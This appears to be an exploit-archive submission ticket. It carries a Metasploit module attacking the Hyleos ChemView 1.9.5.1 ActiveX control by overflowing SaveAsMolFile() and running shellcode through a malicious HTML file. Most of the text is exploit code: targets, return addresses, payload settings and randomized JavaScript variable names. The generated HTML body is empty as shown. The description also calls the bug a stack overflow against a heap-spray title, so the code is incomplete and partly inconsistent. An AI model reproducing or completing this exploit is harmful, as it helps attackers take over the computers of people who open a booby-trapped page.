New Ticket: (No Subject) # Exploit Title: Hyleos ChemView 1.9.5.1 (HyleosChemView.ocx) Heap Spray Exploit (meta) # Date: 10/02/2010 # Author: Dz_attacker # Download : http://www.hyleos.net/download/chemView.1.9.5.exe # Tested on: Windows xp sp3 # Code : ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Hyleos ChemView ActiveX Control Buffer Overflow Exploit', 'Description' => %q{ This module exploits a stack-based buffer overflow within HyleosChemView.ocx of Hyleos ChemView 1.9.5.1 By setting an overly long value to 'SaveAsMolFile()', an attacker can overrun a buffer and execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Dz_attacker ' ], 'References' => [ [ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-11_ChemviewX_Activex.pdf' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0a\x0a\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0A0A0a0A, 'Offset' => 150 } ] ], 'DisclosureDate' => 'Feb 11 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']), ], self.class) end def exploit # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape([target.ret].pack('V')) ret = Rex::Text.uri_encode([target.ret].pack('L')) blocksize = 0x40000 fillto = 300 offset = target['Offset'] # Randomize the javascript variable names chemview = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_ret = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) html = %Q| | print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(html) end end ________________________________ Windows 7 : Trouvez le PC qui vous convient! Découvrez notre offre ! Ticket Details =================== Ticket ID: NEL-923067 Department: Exploits Priority: Medium Status: Open Link: http://ph33rus.offsec.com/3874623487438734587634/staff/index.php?_m=tickets&_a=viewticket&ticketid=1953